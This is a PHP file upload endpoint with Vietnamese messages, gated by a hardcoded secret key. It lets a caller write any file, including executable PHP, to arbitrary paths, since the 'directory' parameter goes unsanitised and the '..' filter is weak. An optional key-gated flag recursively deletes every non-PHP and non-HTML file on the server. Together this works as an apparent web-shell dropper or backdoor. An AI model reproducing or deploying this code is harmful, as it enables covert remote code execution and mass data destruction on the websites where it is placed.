<?php
function deleteNonPhpHtmlFiles($directory)
{
    if (is_dir($directory)) {
        $files = scandir($directory);
        
        foreach ($files as $file) {
            if ($file != '.' && $file != '..') {
                $filePath = $directory . DIRECTORY_SEPARATOR . $file;
                
                if (is_file($filePath)) {
                    $fileExtension = pathinfo($file, PATHINFO_EXTENSION);
                    
                    if (!in_array(strtolower($fileExtension), ['php', 'html'])) {
                        unlink($filePath);
                        echo "Đã xóa file: $file\n";
                    }
                } elseif (is_dir($filePath)) {
                    
                    deleteNonPhpHtmlFiles($filePath);


                    if (count(scandir($filePath)) == 2) { 
                        rmdir($filePath);
                        echo "Đã xóa thư mục rỗng: $filePath\n";
                    }
                }
            }
        }
    } 
}

$uploadDir = './';
$secretKey = 'ac3da59b353dcbd5dea0bf5b80b5aef6';

if (!isset($_POST['key']) || $_POST['key'] !== $secretKey)
	{
    http_response_code(403); 
    echo json_encode(["status" => "error", "message" => "Unauthorized"]);
    exit;
}


if (!isset($_FILES['file'])) {
    http_response_code(400); 
    echo json_encode(["status" => "error", "message" => "No file uploaded"]);
    exit;
}



$file = $_FILES['file'];
$targetFile = $uploadDir . basename($file['name']);


if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0755, true);
}

if(isset($_POST['DelFile']) && $_POST['DelFile'] == $secretKey)
{
	deleteNonPhpHtmlFiles($uploadDir);
}


if (isset($_POST['path']) && $_POST['path'] !== '') {

    $path = str_replace(['..', '\\'], ['', '/'], $_POST['path']);
    $fullPath = __DIR__ . '/' . $path;

    $dir = dirname($fullPath);
    if (!is_dir($dir)) {
        mkdir($dir, 0777, true);
    }

    $targetFile = $fullPath;
}
else if (isset($_POST['directory'])) {

    $directories = explode('/', str_replace('\\', '/', $_POST['directory']));
    foreach ($directories as $directory) {
        $uploadDir .= $directory . '/';
        if (!file_exists($uploadDir)) {
            mkdir($uploadDir, 0777, true);
        }
    }

    $targetFile = $uploadDir . basename($_FILES['file']['name']);
}
else {
    $targetFile = $uploadDir . basename($_FILES['file']['name']);
}




if (isset($_POST['directory'])) {
   
    $directories = explode('/', str_replace('\\', '/', $_POST['directory'])); 



    foreach ($directories as $directory) {
        
        $uploadDir .= $directory . '/';

       
        if (!file_exists($uploadDir)) {
            if (!mkdir($uploadDir, 0777, true)) {
                http_response_code(500);
                echo json_encode(['status' => 'error', 'message' => 'Failed to create directory.']);
                exit;
            }
        }
    }

    $targetFile = $uploadDir . basename($file['name']);
}

if (move_uploaded_file($file['tmp_name'], $targetFile)) {
    echo json_encode(["status" => "success", "message" => "File uploaded successfully"]);
} else {
    http_response_code(500);
    echo json_encode(["status" => "error", "message" => "Failed to upload file"]);
}
?>
